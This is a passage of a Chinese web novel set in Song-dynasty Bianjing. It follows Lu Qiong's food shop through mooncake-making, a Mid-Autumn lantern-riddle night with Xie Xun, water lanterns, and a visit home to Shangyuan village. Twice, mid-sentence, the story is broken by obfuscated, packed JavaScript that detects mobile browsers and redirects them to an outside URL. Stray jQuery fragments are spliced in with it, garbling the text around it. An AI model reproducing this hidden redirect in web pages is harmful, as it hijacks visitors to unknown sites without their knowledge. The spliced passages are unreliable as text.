魏盼住的地方在通济坊后边，离州桥有一段距离，租金更为便宜，倒是屋子大一些，也能住下更多人。 别处院子还透出一丝光，陆萱便也放下心来：“那好，你也小心些。” 近来一到晚上，陆记的生意便不太好做，三三两两的食客到店，点一份冷元子便走，或是带走几份糕点，倒是谢家还一直派人来取吃食。 杨姐儿也闲着无事，把灶台处的水渍擦了又擦：“怎么不见萱姐儿？” 陆琼便把今日的事细细告之，末了还叹声气：“方才好似叫萱儿丢人了，在盼儿面前训了她好几回。” “萱姐儿不是那般小气的人，说不准心里还怪罪自己。” 杨姐儿也把她们近来的相处看在眼里，两人可都是闷葫芦，可她也不好掺进去。 “也许吧。”陆琼心不在焉，随意翻看账本。 杨姐儿忽地凑过来，小小声：“不过这酥山也不多，就是两份也不能吃坏肚子，可是……那个来了？” 那个？ “就是癸水啊……” 这么一想，方才好似也见到魏盼衣摆下有一抹红，只是布料深，看得不是很真切。 怪不得她难受，也不知有没有备好月事带，还有草木灰…… 次日一早，陆琼推开门，走到院子便闻到一股香味。 谁起得这般早？ 灶房里开着火炉，炉上架了一瓦锅，发出闷闷的响声——咕嘟咕嘟！ 旁边开着小窗，屋里的雾气都往小窗那飘去，陆萱的身影也在期间若隐若现。 这是田螺姑娘呢。 难得见她起这般早，陆琼忍不住打趣：“这是给谁准备的？” 其实不说也知道，昨夜见到陆萱便提了一嘴魏盼的事，想她这粥也是特意给魏盼做的。 陆萱揭开锅，甜糯的香味扑满了整个屋子，便见锅里加了红枣、红豆，还煎了一个蛋，滋滋地响。 “阿姐，我先去给魏盼送吃的。” 在汴京好容易才找到一个玩得来的人，自然是要用心些。 “成，”陆琼替她找出食盒，“晌午记得来一趟陆记。” 陆萱先前没去过魏盼家，也是昨儿才知她的住所。 沿着通济坊的后巷走，尽头右拐是另一条街，这条街毗邻汴河，倒是热闹，且离虹桥不远，出城方便。 食盒很重，除了粥，还有一些干枣、鸡蛋，这都是方才装上的。她还没来癸水，但阿姐常说到了这几日得养身子，不能吃少，也不能着凉。 到巷子时，陆萱的小臂已经发酸，正想寻人问魏盼的家在何处，便听见不远处的院子发出响声。 魏盼气急败坏的声音传来：“别跑，看我不捉住你！” 还差犬吠，便是鸡飞狗跳了…… 这处院子里比陆琼家大一半，左边圈地养鸡，右边种了些菜，如今这鸡跑出来，还在啄菜地里的菜叶！ “哎呀，你帮我拦住它，上你那去了。”魏盼也顾不得问陆萱为何来，见鸡都要跑出院子了，赶忙叫人一起捉鸡。 陆萱还没应下声，这鸡竟展开双翼，扑腾扑腾地飞到她身边，还盯上了手上的食盒，不停地咯咯叫。 魏盼放轻脚步走过去，找准时机便扑上去，一把抓住鸡的两翼：“这下跑不了了吧。” 落了满地的鸡毛，就连两人身上也沾了不少。 “你这鸡怎么跑出来的？”陆萱提着食盒，看魏盼把鸡捉会鸡圈里。 其余的鸡也咯咯叫，低头啄米，魏盼见状赶紧跑出外头，把栅栏关紧，抹了一把额头的汗，长吁一声。 “方才喂鸡，不小心被它偷跑了。” 说着还拍拍胸脯，一边后怕一边咬牙：“好在是捉住了，等十五那天就把它宰了吃！” 他们平日不宰鸡，毕竟可以捡几回鸡蛋，若是吃了就没有，便会等到过节再杀。 陆萱在上元村时也是这般，只是近来日子好了，想吃什么便去铺子买，倒是没有为吃肉发过愁。 “对了，这是给你做的，用大枣跟红豆炖的粥。” 魏盼早早便注意到这份食盒，如今接过食盒，便坦荡地笑出声：“正好我还没赶上吃早食。” 大枣煮熟了更加软，魏盼吃了一颗便眯起眼来，真甜！ 粥也是香的，还 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见他想吃霸王餐，陆琼便说要去报官，这才把他唬住，连滚带爬地跑回去拿钱了。 从此魏荣便跟她，跟整个陆记结下仇，还没少跟他娘抱怨，连带着也生魏盼的气。 这回见到陆萱，自是没有好脸色，他哼一声：“怎么，陆记要倒了，所以上我家偷吃了？” 一副小人得意的模样，陆萱见了也恨不得撕烂他的嘴脸，心里堵着一口气。 魏盼知道他们不对付，便叫陆萱早些回去。 等魏荣要进屋，魏盼菜把他叫住：“你这会儿为何不在书院？娘给的钱都去哪了，不是说买纸笔了？” 魏荣脸上的肉都挤作一团：“少管闲事，这钱我想怎么花酒怎么花。你可真是胳膊肘往外拐，净帮着外人，娘都说你养不熟！过几日就叫娘把你卖给许三去！” 许三是住在巷子里的鳏夫，不仅年纪大，脾气也不好，还有不少儿女，去他家就是去吃苦，旁人都是拿这话来吓唬自家女儿。 可魏盼知道他说的这话不是威胁人，是真想这般干，他这人便是如此恶毒！ …… 除开陆记的汤饼少人买，这个八月初过得很平淡，转眼便是中秋。 因着要做月饼，陆琼提前跟掌柜订了一批新模具，还进了不少新面。 此时的月饼叫“小饼”，也叫作“月团”，不过汴京人平日就会吃月团，并不是中秋节才特有的。 这月团跟后来常说的月饼还不大一样，馅料往往是油酥和糖混在一起，跟她们先前做过的酥点相仿，还未出现五仁馅的、豆沙馅的月饼，甚至是冰皮月饼。 所以陆琼便准备做五仁、豆沙、莲蓉馅的月饼，都是些寻常食材，却能做出花样来。 杨姐儿看着灶台上的莲子：“小娘子是说，我们要将这些打成泥？” 这可是一大盆！ 莲子已经泡了一夜，等煮烂后应当能打成泥。 陆琼哼哧哼哧提着桶水，脸憋得通红，费力往锅里倒水：“这是要做莲蓉，掐在月饼里做馅，可甜了！” 汴京人爱吃甜食，这还不能拿捏他们？ 36. 过中秋 莲子上锅后，陆琼也把泡好的红豆放到另一边去蒸，还顺手扯了条围锅布堵住缝隙，能够让锅里受热更均匀。 接下来便开始准备五仁馅。 许多人都不爱吃五仁，可她还是要做，总觉得缺少五仁月饼的中秋不完美，毕竟从小到大不是吃着五仁长大，也是听惯了大家聊五仁。 五仁通常是杏仁、核桃仁、橄榄仁、瓜子仁、芝麻仁，不过这些仁儿价钱都不便宜。陆琼也没买很多，打算做个几十份便收手。 “萱儿看着火，杨姐儿来帮我和面。” 陆萱早就被这香味勾了魂，欢快应声好便噔噔跑过来看火，攥着手坐在灶口前，一脸兴奋，还被火烤得通红。 杨姐儿倒不是馋，而是好奇小娘子说的“月饼”该怎么做，本以为是常见的月团，还想着能做出个什么新鲜模样，就被方才的莲子吓到了。 不过还是觉得有意思，只是不知小娘子怎么想得出弄这么些个馅儿的？ 面粉是首要的，先往盆中倒了小半盆，还加了不少油、糖，最关键的一步是倒枧水。 用草木灰加水煮好，过滤掉渣，把干净的部分取出来，便是枧水，同碱水差不多。 加了枧水的月饼更好上色，饼皮也不会过软或过硬，尤其是现下条件简陋，很难把握火候，容易把月饼烤过。 杨姐儿边揉边感叹：“这比做酥点还麻烦。” 幸好不是日日做…… 陆琼手上都是油，皱着眉：“所以不常做，不过这价钱定是要再贵些，一份……一份就卖十五文好了。” “十五文可是太贵了？”杨姐儿有些犹豫。 毕竟一份糕点也才五文，对比起来，一斤猪肉二十文都算便宜了，且这月饼还没月团大呢，就比角子大一点…… 陆琼笑着：“五仁的才贵，其他的馅儿卖八文一份，对比起来，客人说不准都觉得八文也不算贵，买得更多了？” 这也算是一种营销手段。到时还有更便宜的糕点对比着，人人都倾向于卖中间价位的物品，这样买八文的人便会更多。 毕竟古往今来，消费心理学都是门不浅的学问！ 杨姐儿听得迷迷糊糊，不过小娘子自有一套，便不再纠结，很快手下便和出一团淡黄的面团，表面油亮，不沾手。 馅料也都备好，豆沙一盆、五仁馅一盆，莲子泥也跟糖、油炒成一盘莲蓉。 三人围成一桌，各自包成一个小团子，刷油，再按到模具上一压，便成了月饼。 陆萱最爱的是莲蓉馅，先前在上元村便尝过这个馅儿的月饼，很甜，也很香。只是那会儿钱不多，每回只做几个，还要分给别人，根本不够吃。 这下便也想起离姐儿，上回乞巧节见过一次，就再也没见过。 此时最懂她的人便是陆琼，在掌心搓了一个小圆团，压在模具上才安慰她：“等月饼做好，你给盼儿带几块，若是店里不忙，你们就一起去赏花灯。” 杨姐儿也跟着说一句：“上回汴河就有很多人放花灯，今晚定是更热闹，再不然去相国寺逛逛，那儿的摊位也多，炒栗子、蜂糖糕、糖葫芦……” 一说到吃的，陆萱低沉的情绪也很快消散，立马笑着说好：“我还要带几份月饼走。” 这贪吃的小猫样，把杨姐儿都逗乐了。 “成，”陆琼也笑出泪花，“每样都带一份去。” 最后五仁馅还多了不少，陆琼便做成一份超大的月饼，就是不知哪位幸运儿能买到。 待月饼都上炉烤，陆记才正式开张。 迎来的头位食客一袭蓝袍，手中还摇着纸扇。他三天两头便会来一趟，每次只买糕点，只有上回才破例买了一份酥山，说是家中的妻儿喜欢。 月饼的香味很浓郁，他刚跨过门槛便闻到了：“什么东西这般香？陆掌柜可是又琢磨出新样式了？” “做了些月饼，客官可要瞧瞧？” 陆琼给他说起月饼跟月团的区别，还有口味，更是搭配了别的茶饮来推销。 “若是腻了，还能沏一壶茶，淡淡味儿。” 蓝袍食客其实并不在意，在他看来，月团跟酥点事相似之物，不过还是礼貌地笑：“月团还能做出什么样？” 陆琼也没去纠正他的叫法，正好月饼也新鲜出炉，便开锅给他瞧瞧。 食客探过头去，这外形与旁的糕点并无两样，只是表皮金黄，有些地方更焦，不过嘛……委实很香，都把人看饿了。 见他有些动摇，陆琼便取一份五仁的出来，寻刀切成八个小块，用竹签插好：“不妨来试一小份？” 每回出新品，她都会挑出几份来做“免费试吃”，一是新奇，二是能拉新，总之是利大于弊的举动。 食客也见怪不怪，“嗯”一声，矜持点着头：“那便来一块。” 五仁月饼切成小份后，露出内里的馅儿，香味便更浓，碎核桃、碎杏仁等混在一起，除了香还是香。 尤其汴京的商品就没有差的，陆琼挑的原料也是顶好的，味道自是好极。 这饼皮瞧着硬，却又是软的，咬下去口感细腻，起初会有些奇怪，毕竟混合了多种仁儿，可入嘴后越嚼越香。 食客也忍不住点头，没多注意就多尝了一块，等反应过来时却见陆琼对着她笑，反倒是有些不好意思。 他合上折扇，清了清嗓子：“这味道不错，只是我吃不惯。不过我的夫人倒是喜好这类甜腻的吃食，就替她带两份。” “好，”陆琼依旧笑，“还有别的馅儿可要都来一份？” 送走这位食客，杨姐儿才敢走上前：“小娘子你可真厉害，一来一回就叫人把这五仁的买走了。” 陆琼把钱收进柜子里，打趣她：“那你可得好好学，说不准日后用得上。” 杨姐儿本想挠挠头，又想起小娘子说的，在店里要讲什么卫生来着。 最后她也只是摇摇头，不好意思笑：“我可用不上……” 陆琼没去纠结她说的话，替陆记推广好几日的杜哉正好找上门，这几日的“ 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谢洵坐在一旁，叫人把酒撤下，亲自给赵氏倒茶：“喝酒伤身，还是吃些茶点较为好。” “中秋佳节，不喝桂花酿还算什么过节。”赵氏有些不满，却也没叫人再端上新酒。 唤竹也很有眼色，把好消化的糕点端上前，便在一旁哄她开心：“小郎君也是在担心您。方才王府的徐夫人不还眼红您来着，小郎君们都在跟前，就是孙儿也快出世，可不是要儿孙满堂了。” 说到孙儿，赵氏心里也舒坦些，便又想起儿媳来，朝另一边轻声道：“慕儿，你方才不是说想吃州桥的糕点来着？怎么还没卖到？” 何慕被众人盯着，也有些不自在，坐在旁边的谢湛替她回话：“桃红方才刚去的，许是要等上片刻，毕竟今夜的汴京人多。” 赵氏也能理解，便不再纠结。 没多久，桃红也回来，还带回一份超大的糕点，把院里所有人的目光都吸去了。 “这是什么？怎么这般大？” 汴京的糕点向来都是小巧精致，还是头一回见比盘子还大的，就是在场最从容的赵氏也忍不住惊叹。 桃红也回话：“这是陆记新做的糕点，说是仿照月团做的新品，里边放了不少馅料，杏仁、核桃仁……说是适合全家一起分着吃，寓意阖家欢乐。” “阖家欢乐，阖家欢乐，”赵氏嘴里念叨着，“这意头好啊，还从未跟人分着吃一份糕点，实在是稀奇。” 说完便叫人把刀拿来，非要亲自给大家分，每人一块，其乐融融。 谢洵也分到不少，在知道是陆记的新品，心里更是期待，还没等赵氏开口，便忍不住先尝了一口。 很香，也很软，不同的馅料混在一起，却是一种新奇的口感。 心里也忍不住疑惑，陆娘子到底是怎么想出这般多样式的？ 37. 猜灯谜 赵氏用不得过腻的吃食，却还是捏一块在掌心细细品尝。 待她吃净，唤竹才把新点的茶端起，笑着送上：“信阳进贡给朝廷的茶，大朗前日立了功，便被圣上赏赐，如今正好用来解腻。” 贡茶以北苑为首，其龙团凤饼工艺复杂，茶饼上印有龙凤图案，更是象征着身份尊贵，而信阳茶也不失为淮南茶之首，两者也算是各有千秋。 赵氏望着茶盏里的沫饽：“信阳茶，茶叶细圆挺直，如今磨成粉倒也看不出。” 前朝的煎茶法传到宋时，就演变成点茶，从炙茶、碾茶到击拂，需要费不少心思，也比单纯的泡茶要麻烦。 一旁的谢洵听见，便宽慰她：“这茶香独特，即便不点茶香味也浓郁，若实在想，下回便叫人专门泡一盏。” 赵氏也明白，世上没有两全的办法，无论是品茶还是别的事，便敛下心思，沿着茶盏边轻轻抿一嘴。 想起一事，她便叫人撤下茶：“你近来可是在忙？” 府里请了乐师，在院中弹奏，伴着缓和的琴声，谢洵点头：“在寻一片好的田地。” 这些日他都在寻人打听，木棉的种植条件极为苛刻，讲究天时地利人和，春耕、夏耘、秋收、冬藏……亦要因地制宜，选择适宜的田地。 赵氏也有所耳闻，与辽、金、夏设立榷场后，这些年过冬的衣物也愈加丰富。不仅有裘衣，如今还有比丝绵更暖和的棉衣，若是能将此在中原推广起来，也是一件好事。 这回也难得没有反驳他，只是叹道：“只可惜你日后很难喝到北苑进贡的茶了。” 谢洵明白她这话是何意，但二人难得聊起这些时没有起争执，便不想多解释。 赏完月，府内的宾客便也渐渐散去，谢洵与兄长一齐在庭院倾谈，还小酌几杯，聊起从前，也说到往后。 夜里凉，加上他们也不是贪杯之人，便叫人热了一壶芸香楼的琼液，原料为黄酒，味道鲜爽清香，不失醇和，没有米酒甜，却也没有清酒烈。 “自小你便是极有主见，还记得八岁时，母亲便问你我要做什么，你说要成为祖父那般有谋略的人。如今看来，我顺了母亲的踏入仕途，而你也着实跟祖父很相像……” 说到这，谢湛嘴角稍稍扬起，边上淌了一滴酒，划过下颚，很快归于平淡。 小谢洵的形象在谢湛眼前鲜活起来，如今落到沉稳许多的谢洵身上，便也忍不住叹一声…… 他放下手中的酒杯，搭在谢洵肩上：“今晚汴河应当热闹，你不妨去散散心。” 谢洵酒量不好，只是一点酒便会上脸，脸颊微微泛起红晕，眼里也蒙上一层水雾：“那阿兄呢？为何不一起？” “我？”谢湛笑出声，“你还未成家，自是不懂……” 虽喝了酒，可人还是清醒的。中秋应当是与家人团聚的日子，谢洵便给青弦休了假，现下只能独自沿着街巷走。 到相国寺，一路与人摩肩擦踵，摊贩从后院摆到前院，这日街司不设界限，道路两旁亦是各据一方的摊位。小吃摊则最为热闹，还有便是卖花灯的摊位，玉兔样、方形灯笼状、荷花的…… 瓷器摊的摊主与人争论：“客官，您仔细瞧瞧，这可是正宗的汝窑出品，全汴京城也找不出第二件！只要二十两！” “釉色虽好，但你这纹路不够流畅……”许是遇上了哪位行家，瓷器摊的摊主也算是被人看穿。 声音逐渐远去，谢洵也走到陆记，也不知从何寻来了灯笼，还叫客人来猜字谜。 陆琼取下一盏灯笼，上面附了纸条：“白如玉，滑如脂，煮一煮，香四溢。打一食物。” 离她稍近的小娘子举手，并说出字谜：“小宰羊！” 远一点的妇人啧一声，抢着道：“这明明是肥猪肉！又白又滑，熬成油可不就是香喷了，就连剩下的猪油渣也好吃，脆脆的，咬一口嘎吱响。” 说得众人口水都要流出来，不过这谜底到底是小宰羊还是肥猪肉？ 被大家紧紧盯着，陆琼手心捏了一把汗，毕竟两人说得皆有道理，不论答案是哪一个，都不能叫人满意，最终也只能揭开字谜：“写的是——豆腐？” “那这算是谁对？”食客窃窃私语。 “小宰羊不就是豆腐，豆腐也是小宰羊……” 见大家都支持“小宰羊”，那妇人也不干了，拍一把桌子：“肥猪肉才对！你这谜底是错的。” 食客自动分成两派，一派认为是小宰羊，一派认为是肥猪肉，陆琼怕他们要把陆记给吵翻了。 陆萱找魏盼玩去了，店里只剩下她和杨姐儿，杨姐儿哪里见过这等场面，被吓得一哆嗦：“小娘子，这可怎么办？” “不必怕，我自有办法。” 陆琼拍拍手，叫众人看过来：“既然双方都各圆其说，也找不出破绽，那便是两个都对。” “那都能拿一个月饼？” 问话的是那位“小宰羊”娘子，陆琼自是点头，等这一风波过去，店里才恢复原状，猜灯谜活动也接近尾声。 “最后一个灯谜，听好了。红颜小小粒，相思寄千里。” 食客一一抢答，可都不是正确答案，就在陆琼以为要提前揭晓谜底时，人群中传来骚动。 往日低调的谢洵穿了藕粉圆领袍，配上那泛着水光的眼眸，意外地有些可爱？ “这郎君好生俊俏。” 这般说，谢郎君怕是又要脸红了。 陆琼摇摇头，不过也是免费的招牌，每回他一来，陆记的生意便会好上不少，她总不能跟钱过不去。 这么想着，便笑着把人叫过来：“谢郎君可知谜底为何物？” 谢洵身上的酒气早已散去，只余下些冷气，笑着直视她的眼眸：“方才没听清，可否再说一遍？” 今日的谢郎君好似更胆大了？ 陆琼先一步移开视线，轻咳一声：“谜底是……不对，灯谜是红颜小小粒，相思寄万千。谢郎君可知？” “红颜……此物应当为红色，外形小巧，还能与相思关联在一起……” 谢洵眼带笑意，眸子里好似有星星在闪，隔着一层朦胧的水雾，令人看不真切。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058752|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “那便是——玲珑骰子安红豆，入骨相思知不知。”① 关于红豆，陆琼最为熟知的诗并非这句，可总觉得谢洵这句更有意味。 “不错，谜底便是红豆。” 这回食客总算是没有产生争执，毕竟宋人偏好文雅，这诗一出，众人便陷入“相思”的意境里。 陆琼问他要什么月饼：“五仁如何？不过豆沙也不错，绵软细腻，柔滑中不失颗粒感，层次分明……” 毕竟后世的豆沙大多是科技，可比不上她亲手一点点压的红豆泥。 见她对豆沙如此夸赞，谢洵便笑着点头：“好，要豆沙的。” 今夜食客对豆沙的热情有所减少，陆琼表面不说，可内心还是会有几分落寞，总觉得是自己的手艺不被人认可，如今又多了一人选豆沙，她自是高兴不已。 马不停蹄地招呼他坐下，又跑去木柜，想拿出最好的茶来，可惜茶罐里只余下点碎渣，太寒碜了。 她抱着空茶罐，眼巴巴望着杨姐儿：“店里可还有别的茶？” “许是今夜人多，杂货铺的掌柜忘了托人送茶叶来，方才去问过，说是早早卖光了，店里的也正好用完了。” 杨姐儿瞧她忙活半日，如今还这副可怜模样，真叫人觉得稀罕，也不知是为何，总觉得这与谢郎君有关。 不过有酒，还是桂花酿，倒也拿得出手。 “只是这酒跟寻常的不同，有些烈。” 陆琼依旧抱着茶罐，眯眼思索着：“桂花酿……也不错，正好是中秋，而且桂花最香了。” 杨姐儿后边的话便也没听清。 谢洵今夜已经喝过两回酒，可又不忍叫她失望，便硬着头皮喝下去，毕竟是桂花酿，是甜酒…… 可入喉怎会如此辛辣，倒像是掺了桂花的烈酒。 “如何？” 因忍着呛意，谢询面色瞬间通红，却硬是平淡地道：“这酒……味道好极。” 见他喜欢，陆琼又给他满上，还督促他快些喝。 等她走后，谢洵便觉得有些晕，硬撑着太阳穴才不至于倒地。 即便是中秋，陆琼也是在亥时前闭店，这也是门学问，毕竟下班不积极，思想有问题！何况她还跟陆萱约了去汴河放水灯的。 店内食客所剩无几，只见谢洵桌上还剩了半块豆沙月饼，酒也剩了半杯。 不过她可以理解，谢郎君定是暮食吃多了。 陆琼轻轻拍着他的肩：“谢郎君，本店要歇业了，可要尽早回去？” 在这等了不少时候，谢洵也缓过来，只是反应有些迟缓，旁人问话，要好久才能回应。 他迟疑地“嗯”一声，随后反应过来才道：“方才失礼了，我这就回去。” 说完便起身，向外迈着步子，一路还同手同脚。 店里忽地发出噗呲一声笑，不知是谁的。 离开陆记前，陆琼还顺带把剩下的月饼都装在食盒里，打算明日带走。 先前跟陆萱说好，明日便要回上元村，毕竟过了小半年，是时候回去看一眼。 38. 放水灯 今夜州桥被围得水泄不通，桥上行人络绎不绝，桥下画舫川流不息，汴河边上水灯也是接连不断…… “阿姐！看这边！”陆萱站在人流中，笑着朝她挥手，另一手提着盏花灯，是常见的玉兔灯，额间用朱砂点了一颗红痣，还透着光，衬得墨蓝衣裳更加明亮。 街上行人皆是去放水灯的，陆琼跟他们倒也算是同一方向，便能顺着人流过去。 到了才知，魏盼尚未回去，金娘也带着霜姐儿在看汴河的水灯，不过大多是纸糊的“荷花”，底座则是由竹子编成的，不稀奇。 看起来霜姐儿似乎跟金娘闹脾气了，努着嘴，把头撇向一边，就是不看旁人一眼。 “这是怎么了？”陆琼悄悄给金娘问话。 金娘一直摇头，还不忘挤眉弄眼，示意她不要再问。 汴河灯火通明，可人流扰动，四周嘈杂，陆琼便也没领悟她的意图，还拉高了声儿：“霜姐儿怎么苦着个脸呢？” 霜姐儿听这话便扭过头来，撇着嘴，委屈得很，眼里很快闪出泪花，好似就要落下来，看得陆琼心痛。 见这模样，金娘绝望地闭眼，自家女儿尽丢人了，只好把缘由都说出来。 陆琼听了便忍不住发笑，原来是想放水灯。可先前路过别的摊子时，霜姐儿便忍不住买了花灯，也就是陆萱手里那个，现在来了却后悔，想换成水灯。 金娘没好气道：“小孩子哪能这般哄着，又不是什么富贵人家，难不成日后要月亮我都得摘下来？” 陆琼不赞许她的做法：“这算什么事，想要就给她买，不值几个钱。” 说完还拍了拍霜姐儿的肩，凑过去小声说：“别听你娘的，我们待会就去买一盏。” 听这话，霜姐儿脸上早就挂上笑，两人的头挨在一起，像两只在悄悄密谋的小猫。 水灯是纸糊的，再点上烛火，不到十文便能买一个，说起来，花灯还更贵一点，要二十文一盏。 因着过节，陆琼一高兴便给所有人都买了一盏，总共花了四十文。 金娘见说不听，便只能跟着去。 不过这水灯还能写字呢。她还不会写几个字，倒是两个姐儿都能落笔，也写出一手不差的字。 光想可写不了东西，便胡乱在纸上画几笔，也算是将心里的寄托都一并写下。 霜姐儿便不必说，早就笑呵呵，尽管在纸上糊成一团，众人看着也乐。 好似只有陆琼觉得这算是抽象派画作？ 写完字，她们从桥边的台阶下去，依次将水灯放在汴河上，浮光掠影，照在所有人的心里。 …… 铺子提前雇了人帮忙打理，加上杨姐儿也能独当一面，陆琼便打算在回去待个三五天，正好赶上秋收，也是农忙时节。 这次她们要带的东西不少，先是吃食就数不尽，戴楼的酒，红楼的碎金饭，各种蜜饯鲊脯，中秋的月饼，还有些不可或缺的调料…… 原本的屋子还有被褥，但小半年未用，应当生了味，还不如从这带回去，反正夏天的被褥也不厚。 再收拾几件换洗的衣物，两人便兴冲冲出门去！ 这一次还雇了载人的马车，回去一趟要付一百文，不过也是值了，至少有个帘子遮挡太阳。 出城的车子早在巷子口等候，陆琼提着大包袱上车，额头也出了不少汗。 没歇几下，她便拉着把手，一脚蹬上车，还不忘转身将陆萱拉上来。 车夫是隔壁村的人，一行人边赶路边闲聊，聊到秋收，说村子里今年收成不大好，种粟的人也少了，有的人改种茶树，说能挣大钱…… 出了城门，遇见一片专门种茶的地，赶在中秋前采摘的茶叶，味道淡，香味也平，不比春茶甜，也没有夏茶涩。 过了茶地，便能看见大片的田地，沉甸甸的谷子压弯了谷穗，满地金黄，一路上都是谷子的香气。 眼见就要到了，陆琼却有些紧张，不自觉攥紧了手里的包袱。 直到车停，双脚踩在地上，望着四周熟悉的环境，她才有了真切的感受。 上元村也开始秋收。除了金黄的稻子，再就是不少人在地里种的番薯。 等这几日收完粮食，还要清理田地，把剩下的秸秆和杂草都除去，等翻耕，才能播种新的小麦。 “这是……陆小娘子？”周二娘刚从地里出来，头上包着碎花布巾，身上还沾了不少谷粒，一双手被晒得黝黑，脸上也是泛着红，许是在地里从早忙到今。 上元村虽不小，却没住多少人家，谁家有几口人，哪家出了点事，不必十传百，一出门便能知，尤其是被周二娘这般碎嘴的知道了…… 周二娘也清楚陆琼去汴京了，如今见着人也是好奇得很，逮着人便问不停：“你在汴京的生意怎么着了？摆摊能挣着钱不？城里的房子大不大，有没有这片地大？” 陆琼有些不适应她的热情，笑着拉下她的手：“二娘，我这才回来，东西还没放呢，等下回再跟您说？” 周二娘这才见到旁边的陆萱，手里也是提着大包小包，身上全是汗，也知道自己唐突了，便赶紧笑着给人让路：“那你们先忙，不着急。” 陆琼手上挽着一个木食盒，里边装得是月饼，一揭盖，香味便从里飘向远处，就是地里也应当能闻到。 “二娘，这是我做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066031|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一些吃的，没带多少，您就拿一个回去尝尝。” 月饼还冒着油光，下完地的人本就累，肚子也饿，哪能禁得住这诱.惑。 何况周二娘平日还抠得很，饭菜不舍得放油，肚里是一点油水也没，就想着今儿下地多吃了一碗稀粥。 她吞了吞口水，直直盯着食盒里的月饼：“这怎么好……” 嘴上说着，手却伸向了食盒，好在二娘也不是好占便宜的人，就是心里再怎么想，也只拿了一个。 周二娘手里握着月饼，跟她们闲聊几句，等人走了，才望着背影痴痴道：“这汴京真有这么好挣钱？” 陆琼回去时，便见院子的杂草长高了，屋顶上生了点蜘蛛网，桌上落了灰，别的倒没什么。 行李一放，她们便开始打水，把屋子里里外外都打扫一遍，再通通风，等霉味散去了，才敢坐下歇脚。 “还是自己家住得舒坦！” 陆萱却趴在桌上，脸也皱成一团。 昨夜睡得晚，今儿一早便被叫起来收东西，早食还只吃了点街上买的胡饼，这下也是饿得不行。 陆琼也饿了，便用指头戳了戳她胳膊：“家里也没什么能做吃的，不然去找虞娘问问，看能不能换点什么？” 往年秋收，虞娘院子里总会晒着不少粟，屋里还会放些新收的番薯，整个屋子都是丰收的味道。 想起香甜软糯的番薯，陆萱肚子也跟着叫了，两人眼神一对上，便收拾着要走人，也不忘把月饼带上。 谷子要一条条割下来，还得晒，晒完要脱壳，余下的秸秆、谷糠还能喂给牲畜当饲料。 虞娘家这会儿早就收好谷子了，正赶着铺在院子里，金黄的谷子粒粒圆润，散发着独特的谷香。 她赤着脚，踩在滚烫的地上，背对着院门耙谷子，察觉身后有人靠近，还以为是离姐儿，“这一天又跑哪去了，也不帮忙收谷子，下回就不用回家了……” 依旧是原来的虞娘，嘴上说得狠，回回却还是心软了。 纸老虎一只。 这一形象蓦然浮现在眼前，陆琼便忍不住笑出声：“是谁惹虞娘生气了？我替你教训他。” 这声音？ 虞娘手中耙子抵在地上不动，转过身来，见是陆琼跟陆萱两人，眼神有一瞬间诧异，很快恢复平静，反应过来便继续耙谷子。 “怎么想着回来了？这也没谷子给你们收，还是城里生意不做了？” 陆琼也习惯她这般态度，把手负在身后，笑着围着院子走：“生意好着呢，如今雇人看着。” 那这趟回来瞎折腾的？ 总之没出事，虞娘便也不多问。 39. 断簪子 在陆琼穿来之前，虞娘便跟原身的娘走得近，两家的地挨在一块，经常一块下地，一块采桑，就是打了只野兔，也要分着吃。 后来原身爹娘去世，虞娘也没少照顾她们，可原身自尊心强，有事也瞒着虞娘。 有一回天冷，家里柴火不够少，陆萱着了凉便生病，原身才披上薄褂子去找虞娘借钱。 虞娘一推门，便见她身上穿得少，只有草鞋还塞满干草，脸上还发白，一直哆嗦着。看得人难受，心里觉得可怜又可悲，还不敢多想就赶紧把人叫进里屋，往怀里塞热汤婆子，倒热水…… 还是当时的屋子，不过这回她们是围在火炉边烤红薯，树上的柿子早已红透，也正是吃的时候。 从汴京到上元村的路程不长，陆琼她们到的时候还没到晌午，不过家家户户也开始准备午食。 虞娘家向来吃得晚，今儿却早早开始生火了。 院子里都是烤红薯的香味，焦黑的外皮，看起来还被烤得有些发硬，陆萱耐不下心，徒手便去取，一连哎呦好几声，还不停喊烫，红薯却稳稳拿在手里。 “太烫了，你放地上去。”陆琼还在看着火，一边担心她。 “烫着了？井边打了一桶水，去缓缓。”虞娘在灶房听到动静，便隔着院子喊。 “没事，已经不烫了！” 陆萱摆摆手不在乎，毕竟再烫也比不过饿肚子难受，把红薯掰成两份，露出橙黄的内瓤，还热乎着。 用火烤的红薯香味更浓，她先吹凉一会儿，沿着边缘咬一口，很软，入口便化在嘴里，香味渐渐蔓延在舌尖，吃进肚还有一种暖暖的满足感。 陆萱眯起眼来，这是一种幸福的味道！ 陆琼也觉得舒服，一路上少不了颠簸，坐在马车里还晕乎乎的，若不是走得慢，怕是胆汁都要吐出来。 她手中还剩下半截红薯，鼻尖也蹭了点灰，见虞娘还在灶台忙，装作不好意思笑：“虞娘，我们吃完红薯就走。” “走去哪？家里头估计连能烧的柴都没。”虞娘面无表情地擦灶台，当她不知道陆琼心里在想什么？ 内心所想被揭穿了，陆琼也不恼，只是跟陆萱一块偷着乐。 火炉旁堆着好几片红薯皮，地也被蹭黑了些，虞娘啧了一声，端着污水跨过去：“别吃太多，留点肚子……” 虞娘手艺好，最后做了鱼豆腐汤，炖了茄子，还用番薯叶炒了道小菜。 